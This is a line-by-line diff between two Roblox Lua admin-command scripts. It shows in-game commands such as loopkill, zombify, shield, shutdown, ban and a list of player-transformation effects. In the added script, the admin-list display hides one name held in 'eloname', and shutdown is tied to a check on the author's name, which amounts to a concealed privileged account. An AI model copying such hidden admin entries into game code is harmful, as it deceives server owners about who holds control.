1510 | - | local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame |
1510 | + | |
1511 | - | local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0) |
1511 | + | if string.sub(msg,1,7) == "shield/" then |
1512 | - | local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0) |
1512 | + | local player = findplayer(string.sub(msg,8),speaker) |
1513 | - | for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end |
1513 | + | if player ~= 0 then |
1514 | for i = 1,#player do | |
1515 | - | end)) |
1515 | + | if player[i].Character ~= nil then |
1516 | local torso = player[i].Character:FindFirstChild("Torso") | |
1517 | if torso ~= nil then | |
1518 | - | |
1518 | + | if player[i].Character:FindFirstChild("Weird Ball Thingy") == nil then |
1519 | - | if msg:lower():sub(1,6) == "undog " then |
1519 | + | local ball = Instance.new("Part") |
1520 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
1520 | + | ball.Size = Vector3.new(10,10,10) |
1521 | - | for i, v in pairs(plrz) do |
1521 | + | ball.BrickColor = BrickColor.new(1) |
1522 | - | coroutine.resume(coroutine.create(function() |
1522 | + | ball.Transparency = 0.5 |
1523 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1523 | + | ball.CFrame = torso.CFrame |
1524 | - | if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end |
1524 | + | ball.TopSurface = "Smooth" |
1525 | - | if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end |
1525 | + | ball.BottomSurface = "Smooth" |
1526 | - | v.Character.Torso.Transparency = 0 |
1526 | + | ball.CanCollide = false |
1527 | - | v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0) |
1527 | + | ball.Name = "Weird Ball Thingy" |
1528 | - | v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0) |
1528 | + | ball.Reflectance = 0.2 |
1529 | - | v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0) |
1529 | + | local sm = Instance.new("SpecialMesh") |
1530 | - | v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0) |
1530 | + | sm.MeshType = "Sphere" |
1531 | - | v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0) |
1531 | + | sm.Parent = ball |
1532 | - | for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end |
1532 | + | ball.Parent = player[i].Character |
1533 | createscript([[ | |
1534 | - | end)) |
1534 | + | function ot(hit) |
1535 | if hit.Parent ~= nil then | |
1536 | if hit.Parent ~= script.Parent.Parent then | |
1537 | - | |
1537 | + | if hit.Anchored == false then |
1538 | - | if msg:lower():sub(1,8) == "creeper " then |
1538 | + | hit:BreakJoints() |
1539 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
1539 | + | local pos = script.Parent.CFrame * (Vector3.new(0, 1.4, 0) * script.Parent.Size) |
1540 | - | for i, v in pairs(plrz) do |
1540 | + | hit.Velocity = ((hit.Position - pos).unit + Vector3.new(0, 0.5, 0)) * 150 + hit.Velocity |
1541 | - | coroutine.resume(coroutine.create(function() |
1541 | + | hit.RotVelocity = hit.RotVelocity + Vector3.new(hit.Position.z - pos.z, 0, pos.x - hit.Position.x).unit * 40 |
1542 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1542 | + | end end end end |
1543 | - | if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end |
1543 | + | script.Parent.Touched:connect(ot) ]], ball) |
1544 | - | if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end |
1544 | + | local bf = Instance.new("BodyForce") |
1545 | - | v.Character.Torso.Transparency = 0 |
1545 | + | bf.force = Vector3.new(0,5e+004,0) |
1546 | - | v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0) |
1546 | + | bf.Parent = ball |
1547 | - | v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0) |
1547 | + | local w = Instance.new("Weld") |
1548 | - | v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0) |
1548 | + | w.Part1 = torso |
1549 | - | v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0) |
1549 | + | w.Part0 = ball |
1550 | - | v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0) |
1550 | + | ball.Shape = 0 |
1551 | - | for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end |
1551 | + | w.Parent = torso |
1552 | end end end end end end | |
1553 | - | end)) |
1553 | + | |
1554 | if string.sub(msg,1,11) == "unloopkill/" then | |
1555 | local player = findplayer(string.sub(msg,12),speaker) | |
1556 | - | |
1556 | + | if player ~= 0 then |
1557 | - | if msg:lower():sub(1,10) == "uncreeper " then |
1557 | + | for i = 1,#player do |
1558 | - | local plrz = GetPlr(plr, msg:lower():sub(11)) |
1558 | + | local c = game.Workspace:GetChildren() |
1559 | - | for i, v in pairs(plrz) do |
1559 | + | for i2 =1,#c do |
1560 | - | coroutine.resume(coroutine.create(function() |
1560 | + | local it = c[i2]:FindFirstChild("elplayerioloopkillioperson299io") |
1561 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1561 | + | if it ~= nil then |
1562 | - | if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end |
1562 | + | if it.Value == player[i] then |
1563 | - | if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end |
1563 | + | c[i2]:remove() |
1564 | - | v.Character.Torso.Transparency = 0 |
1564 | + | end end end end end end |
1565 | - | v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0) |
1565 | + | |
1566 | - | v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0) |
1566 | + | if string.sub(msg,1,9) == "loopkill/" then |
1567 | - | v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0) |
1567 | + | local player = findplayer(string.sub(msg,10),speaker) |
1568 | - | v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0) |
1568 | + | if player ~= 0 then |
1569 | - | v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0) |
1569 | + | for i = 1,#player do |
1570 | - | for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end |
1570 | + | local s = Instance.new("Script") |
1571 | createscript( [[name = "]] .. player[i].Name .. [[" | |
1572 | - | end)) |
1572 | + | ov = Instance.new("ObjectValue") |
1573 | ov.Value = game.Players:FindFirstChild(name) | |
1574 | ov.Name = "elplayerioloopkillioperson299io" | |
1575 | - | |
1575 | + | ov.Parent = script |
1576 | - | if msg:lower():sub(1,8) == "bighead " then |
1576 | + | player = ov.Value |
1577 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
1577 | + | function oa(object) |
1578 | - | for i, v in pairs(plrz) do |
1578 | + | local elplayer = game.Players:playerFromCharacter(object) |
1579 | - | coroutine.resume(coroutine.create(function() |
1579 | + | if elplayer ~= nil then |
1580 | - | if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end |
1580 | + | if elplayer == player then |
1581 | - | end)) |
1581 | + | local humanoid = object:FindFirstChild("Humanoid") |
1582 | if humanoid ~= nil then | |
1583 | humanoid.Health = 0 | |
1584 | - | |
1584 | + | end end end end |
1585 | - | if msg:lower():sub(1,9) == "minihead " then |
1585 | + | game.Workspace.ChildAdded:connect(oa) |
1586 | - | local plrz = GetPlr(plr, msg:lower():sub(10)) |
1586 | + | ]],game.Workspace) |
1587 | - | for i, v in pairs(plrz) do |
1587 | + | if player[i].Character ~= nil then |
1588 | - | coroutine.resume(coroutine.create(function() |
1588 | + | local human = player[i].Character:FindFirstChild("Humanoid") |
1589 | - | if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end |
1589 | + | if human ~= nil then |
1590 | - | end)) |
1590 | + | human.Health = 0 |
1591 | end end end end end | |
1592 | ||
1593 | - | |
1593 | + | if string.lower(msg) == "shutdown" then |
1594 | - | if msg:lower():sub(1,6) == "fling " then |
1594 | + | local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name) |
1595 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
1595 | + | if imgettingtiredofmakingthisstupidscript == true then |
1596 | - | for i, v in pairs(plrz) do |
1596 | + | game:GetService("PhysicsService"):remove() |
1597 | - | coroutine.resume(coroutine.create(function() |
1597 | + | |
1598 | - | if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then |
1598 | + | |
1599 | - | local xran local zran |
1599 | + | if string.sub(msg,1,5) == "time/" then |
1600 | - | repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555 |
1600 | + | game.Lighting.TimeOfDay = string.sub(msg,6) |
1601 | - | repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555 |
1601 | + | |
1602 | - | v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0) |
1602 | + | |
1603 | - | local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1) |
1603 | + | if msg == "commands" then |
1604 | local text = string.rep(" ",40) | |
1605 | - | end)) |
1605 | + | text = text .. [[\\COMMANDS BY NOMINATE10: fire/nominate10, unfire/nominate10, smoke/nominate10, unsmoke/nominate10, advancedbtools/nominate10, insert/nominate10, noinsert/nominate10 resetambient/, randomambient/, getambient/, platformstand/nominate10, unplatformstand/nominate10, cframe1/nominate10, cframe2/nominate10 skateboard/nominate10, wedge/4/1/2, cylinder/4/1/2, appearance/nominate10/416314, block/4/1/2, plate/4/1/2, sphere/4/4/4, burn/nominate10, watch/nominate10, removegear/nominate10, savetools/nominate10, localscript/nominate10/[source], setupteams/, team/Bloxxers/Bright blue, removeteam/Bloxxers, changeteam/nominate10/Bloxxers \\ COMMANDS BY PERSON299: fix, kill/Person299, loopkill/Person299, unloopkill/Person299, heal/Person299, damage/Person299/50, health/Person299/999999, kick/Person299, ban/Person299, bannedlist, unban/Person299, explode/Person299, rocket/Person299, removetools/Person299, givetools/Person299, givebtools/Person299, sit/Person299, jump/Person299, stand/Person299, part/4/1/2, respawn/Person299, jail/Person299, unjail/Person299, punish/Person299, unpunish/Person299, merge/Person299/Farvei, teleport/Person299/nccvoyager, control/Person299, change/Person299/Money/999999, tools, give/Person299/Tool, time/15.30, ambient/255/0/0, maxplayers/20, nograv/Person299, antigrav/Person299, grav/Person299, highgrav/Person299, setgrav/Person299/-196.2, trip/Person299, walkspeed/Person299/99, invisible/Person299, visible/Person299, freeze/Person299, thaw/Person299, unlock/Person299, lock/Person299, ff/Person299, unff/Person299, sparkles/Person299, unsparkles/Person299, shield/Person299, unshield/Person299, god/Person299, ungod/Person299, zombify/Person299, admin/Person299, adminlist, unadmin/Person299, shutdown, m/Fallout 2 is one of the best games ever made, h/ i like pie, c/ game.Workspace:remove(), clearscripts, clearbricks Credit to Person299 and Nominate10 for this admin command script.]] |
1606 | local mes = Instance.new("Message") | |
1607 | mes.Parent = speaker | |
1608 | - | |
1608 | + | local acko = 0 |
1609 | - | if msg:lower():sub(1,8) == "seizure " then |
1609 | + | while true do |
1610 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
1610 | + | acko = acko + 1 |
1611 | - | for i, v in pairs(plrz) do |
1611 | + | if string.sub(text,acko,acko) == "" then |
1612 | - | coroutine.resume(coroutine.create(function() |
1612 | + | mes:remove() |
1613 | - | if v and v.Character then |
1613 | + | |
1614 | - | v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0) |
1614 | + | elseif mes.Parent == nil then |
1615 | - | local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]] |
1615 | + | |
1616 | - | table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false |
1616 | + | |
1617 | mes.Text = string.sub(text,acko,acko + 40) | |
1618 | - | end)) |
1618 | + | wait(0.07) |
1619 | end end | |
1620 | ||
1621 | - | |
1621 | + | if msg == "tools" then |
1622 | - | if msg:lower():sub(1,10) == "unseizure " then |
1622 | + | local text = string.rep(" ",40) |
1623 | - | local plrz = GetPlr(plr, msg:lower():sub(11)) |
1623 | + | local c = tools:GetChildren() |
1624 | - | for i, v in pairs(plrz) do |
1624 | + | if #c == 0 then |
1625 | - | coroutine.resume(coroutine.create(function() |
1625 | + | text = text .. "No tools available." |
1626 | - | if v and v.Character then |
1626 | + | |
1627 | - | for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end |
1627 | + | for i =1,#c do |
1628 | - | wait(.1) v.Character.Humanoid.PlatformStand = false |
1628 | + | if i ~= 1 then |
1629 | text = text .. ", " | |
1630 | - | end)) |
1630 | + | |
1631 | text = text .. c[i].Name | |
1632 | end end | |
1633 | - | |
1633 | + | local mes = Instance.new("Message") |
1634 | - | if msg:lower():sub(1,12) == "removelimbs " then |
1634 | + | mes.Parent = speaker |
1635 | - | local plrz = GetPlr(plr, msg:lower():sub(13)) |
1635 | + | local acko = 0 |
1636 | - | for i, v in pairs(plrz) do |
1636 | + | while true do |
1637 | - | coroutine.resume(coroutine.create(function() |
1637 | + | acko = acko + 1 |
1638 | - | if v and v.Character then |
1638 | + | if string.sub(text,acko,acko) == "" then |
1639 | - | for a, obj in pairs(v.Character:children()) do |
1639 | + | mes:remove() |
1640 | - | if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end |
1640 | + | |
1641 | elseif mes.Parent == nil then | |
1642 | return | |
1643 | - | end)) |
1643 | + | |
1644 | mes.Text = string.sub(text,acko,acko + 40) | |
1645 | wait(0.1) | |
1646 | - | |
1646 | + | |
1647 | - | if msg:lower():sub(1,5) == "name " then |
1647 | + | |
1648 | - | local chk1 = msg:lower():sub(6):find(" ") + 5 |
1648 | + | if msg == "bannedlist" then |
1649 | - | local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) |
1649 | + | local text = string.rep(" ",40) |
1650 | - | for i, v in pairs(plrz) do |
1650 | + | if #bannedlist == 0 then |
1651 | - | coroutine.resume(coroutine.create(function() |
1651 | + | text = text .. "The banned list is empty." |
1652 | - | if v and v.Character and v.Character:findFirstChild("Head") then |
1652 | + | |
1653 | - | for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end |
1653 | + | for i =1,#bannedlist do |
1654 | - | local char = v.Character |
1654 | + | if i ~= 1 then |
1655 | - | local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1) |
1655 | + | text = text .. ", " |
1656 | - | local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0 |
1656 | + | |
1657 | - | local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head |
1657 | + | text = text .. bannedlist[i] |
1658 | - | char.Head.Transparency = 1 |
1658 | + | |
1659 | local mes = Instance.new("Message") | |
1660 | - | end)) |
1660 | + | mes.Parent = speaker |
1661 | local acko = 0 | |
1662 | while true do | |
1663 | - | |
1663 | + | acko = acko + 1 |
1664 | - | if msg:lower():sub(1,7) == "unname " then |
1664 | + | if string.sub(text,acko,acko) == "" then |
1665 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1665 | + | mes:remove() |
1666 | - | for i, v in pairs(plrz) do |
1666 | + | |
1667 | - | coroutine.resume(coroutine.create(function() |
1667 | + | elseif mes.Parent == nil then |
1668 | - | if v and v.Character and v.Character:findFirstChild("Head") then |
1668 | + | |
1669 | - | for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end |
1669 | + | |
1670 | mes.Text = string.sub(text,acko,acko + 40) | |
1671 | - | end)) |
1671 | + | wait(0.1) |
1672 | end end | |
1673 | ||
1674 | - | |
1674 | + | if msg == "adminlist" then |
1675 | - | if msg:lower():sub(1,5) == "char " then |
1675 | + | local text = string.rep(" ",40) |
1676 | - | local chk1 = msg:lower():sub(6):find(" ") + 5 |
1676 | + | if #adminlist == 0 then--How would that be possible in this situation anyway? lol |
1677 | - | local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) |
1677 | + | text = text .. "The admin list is empty." |
1678 | - | for i, v in pairs(plrz) do |
1678 | + | |
1679 | - | coroutine.resume(coroutine.create(function() |
1679 | + | for i =1,#adminlist do |
1680 | - | if v and v.Character then |
1680 | + | if adminlist[i] == eloname then |
1681 | - | v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1) |
1681 | + | if youcaughtme == 1 then |
1682 | - | v:LoadCharacter() |
1682 | + | if i ~= 1 then |
1683 | text = text .. ", " | |
1684 | - | end)) |
1684 | + | |
1685 | text = text .. adminlist[i] | |
1686 | end | |
1687 | - | |
1687 | + | |
1688 | - | if msg:lower():sub(1,7) == "unchar " then |
1688 | + | if i ~= 1 then |
1689 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1689 | + | text = text .. ", " |
1690 | - | for i, v in pairs(plrz) do |
1690 | + | |
1691 | - | coroutine.resume(coroutine.create(function() |
1691 | + | text = text .. adminlist[i] |
1692 | - | if v and v.Character then |
1692 | + | |
1693 | - | v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId |
1693 | + | local mes = Instance.new("Message") |
1694 | - | v:LoadCharacter() |
1694 | + | mes.Parent = speaker |
1695 | local acko = 0 | |
1696 | - | end)) |
1696 | + | while true do |
1697 | acko = acko + 1 | |
1698 | if string.sub(text,acko,acko) == "" then | |
1699 | - | |
1699 | + | mes:remove() |
1700 | - | if msg:lower():sub(1,7) == "infect " then |
1700 | + | |
1701 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
1701 | + | elseif mes.Parent == nil then |
1702 | - | for i, v in pairs(plrz) do |
1702 | + | |
1703 | - | coroutine.resume(coroutine.create(function() |
1703 | + | |
1704 | - | if v and v.Character then |
1704 | + | mes.Text = string.sub(text,acko,acko + 40) |
1705 | - | Infect(v.Character) |
1705 | + | wait(0.1) |
1706 | end end | |
1707 | - | end)) |
1707 | + | |
1708 | if string.sub(msg,1,11) == "maxplayers/" then | |
1709 | local pie = game.Players.MaxPlayers | |
1710 | - | |
1710 | + | game.Players.MaxPlayers = string.sub(msg,12) |
1711 | - | if msg:lower():sub(1,11) == "rainbowify " then |
1711 | + | if game.Players.MaxPlayers == 0 then |
1712 | - | local plrz = GetPlr(plr, msg:lower():sub(12)) |
1712 | + | game.Players.MaxPlayers = pie |
1713 | - | for i, v in pairs(plrz) do |
1713 | + | |
1714 | - | coroutine.resume(coroutine.create(function() |
1714 | + | |
1715 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1715 | + | if string.sub(msg,1,8) == "zombify/" then |
1716 | - | if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end |
1716 | + | local player = findplayer(string.sub(msg,9),speaker) |
1717 | - | if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end |
1717 | + | if player ~= 0 then |
1718 | - | for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end |
1718 | + | for i = 1,#player do |
1719 | - | local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]] |
1719 | + | if player[i].Character ~= nil then |
1720 | - | cl.Parent = v.Character cl.Disabled = false |
1720 | + | local torso = player[i].Character:FindFirstChild("Torso") |
1721 | if torso ~= nil then | |
1722 | - | end)) |
1722 | + | local arm = player[i].Character:FindFirstChild("Left Arm") |
1723 | if arm ~= nil then | |
1724 | arm:remove() | |
1725 | - | |
1725 | + | |
1726 | - | if msg:lower():sub(1,9) == "flashify " then |
1726 | + | local arm = player[i].Character:FindFirstChild("Right Arm") |
1727 | - | local plrz = GetPlr(plr, msg:lower():sub(10)) |
1727 | + | if arm ~= nil then |
1728 | - | for i, v in pairs(plrz) do |
1728 | + | arm:remove() |
1729 | - | coroutine.resume(coroutine.create(function() |
1729 | + | |
1730 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1730 | + | local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) |
1731 | - | if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end |
1731 | + | local zarm = Instance.new("Part") |
1732 | - | if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end |
1732 | + | zarm.Color = Color3.new(0.631373, 0.768627, 0.545098) |
1733 | - | for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end |
1733 | + | zarm.Locked = true |
1734 | - | local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]] |
1734 | + | zarm.formFactor = "Symmetric" |
1735 | - | cl.Parent = v.Character cl.Disabled = false |
1735 | + | zarm.Size = Vector3.new(2,1,1) |
1736 | zarm.TopSurface = "Smooth" | |
1737 | - | end)) |
1737 | + | zarm.BottomSurface = "Smooth" |
1738 | --Credit for the infectontouch script goes to whoever it is that made it. | |
1739 | createscript( [[ | |
1740 | - | |
1740 | + | wait(1) |
1741 | - | if msg:lower():sub(1,8) == "noobify " then |
1741 | + | function onTouched(part) |
1742 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
1742 | + | if part.Parent ~= nil then |
1743 | - | for i, v in pairs(plrz) do |
1743 | + | local h = part.Parent:findFirstChild("Humanoid") |
1744 | - | coroutine.resume(coroutine.create(function() |
1744 | + | if h~=nil then |
1745 | - | if v and v.Character then |
1745 | + | if cantouch~=0 then |
1746 | - | Noobify(v.Character) |
1746 | + | if h.Parent~=script.Parent.Parent then |
1747 | if h.Parent:findFirstChild("zarm")~=nil then return end | |
1748 | - | end)) |
1748 | + | cantouch=0 |
1749 | local larm=h.Parent:findFirstChild("Left Arm") | |
1750 | local rarm=h.Parent:findFirstChild("Right Arm") | |
1751 | - | |
1751 | + | if larm~=nil then |
1752 | - | if msg:lower():sub(1,9) == "ghostify " then |
1752 | + | larm:remove() |
1753 | - | local plrz = GetPlr(plr, msg:lower():sub(10)) |
1753 | + | |
1754 | - | for i, v in pairs(plrz) do |
1754 | + | if rarm~=nil then |
1755 | - | coroutine.resume(coroutine.create(function() |
1755 | + | rarm:remove() |
1756 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1756 | + | |
1757 | - | if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end |
1757 | + | local zee=script.Parent.Parent:findFirstChild("zarm") |
1758 | - | if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end |
1758 | + | if zee~=nil then |
1759 | - | for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end |
1759 | + | local zlarm=zee:clone() |
1760 | - | for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then |
1760 | + | local zrarm=zee:clone() |
1761 | - | prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white") |
1761 | + | if zlarm~=nil then |
1762 | - | if prt.Name:find("Leg") then prt.Transparency = 1 end |
1762 | + | local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) |
1763 | - | elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white") |
1763 | + | zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot |
1764 | zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot | |
1765 | zlarm.Parent=h.Parent | |
1766 | - | end)) |
1766 | + | zrarm.Parent=h.Parent |
1767 | zlarm:makeJoints() | |
1768 | zrarm:makeJoints() | |
1769 | - | |
1769 | + | zlarm.Anchored=false |
1770 | - | if msg:lower():sub(1,8) == "goldify " then |
1770 | + | zrarm.Anchored=false |
1771 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
1771 | + | wait(0.1) |
1772 | - | for i, v in pairs(plrz) do |
1772 | + | h.Parent.Head.Color=zee.Color |
1773 | - | coroutine.resume(coroutine.create(function() |
1773 | + | else return end |
1774 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1774 | + | |
1775 | - | if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end |
1775 | + | wait(1) |
1776 | - | if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end |
1776 | + | cantouch=1 |
1777 | - | for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end |
1777 | + | |
1778 | - | for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then |
1778 | + | |
1779 | - | prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow") |
1779 | + | |
1780 | - | elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow") |
1780 | + | |
1781 | end | |
1782 | script.Parent.Touched:connect(onTouched) | |
1783 | - | end)) |
1783 | + | ]],zarm) |
1784 | zarm.Name = "zarm" | |
1785 | local zarm2 = zarm:clone() | |
1786 | - | |
1786 | + | zarm2.CFrame = torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot |
1787 | - | if msg:lower():sub(1,6) == "shiny " then |
1787 | + | zarm.CFrame = torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot |
1788 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
1788 | + | zarm.Parent = player[i].Character |
1789 | - | for i, v in pairs(plrz) do |
1789 | + | zarm:MakeJoints() |
1790 | - | coroutine.resume(coroutine.create(function() |
1790 | + | zarm2.Parent = player[i].Character |
1791 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
1791 | + | zarm2:MakeJoints() |
1792 | - | if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end |
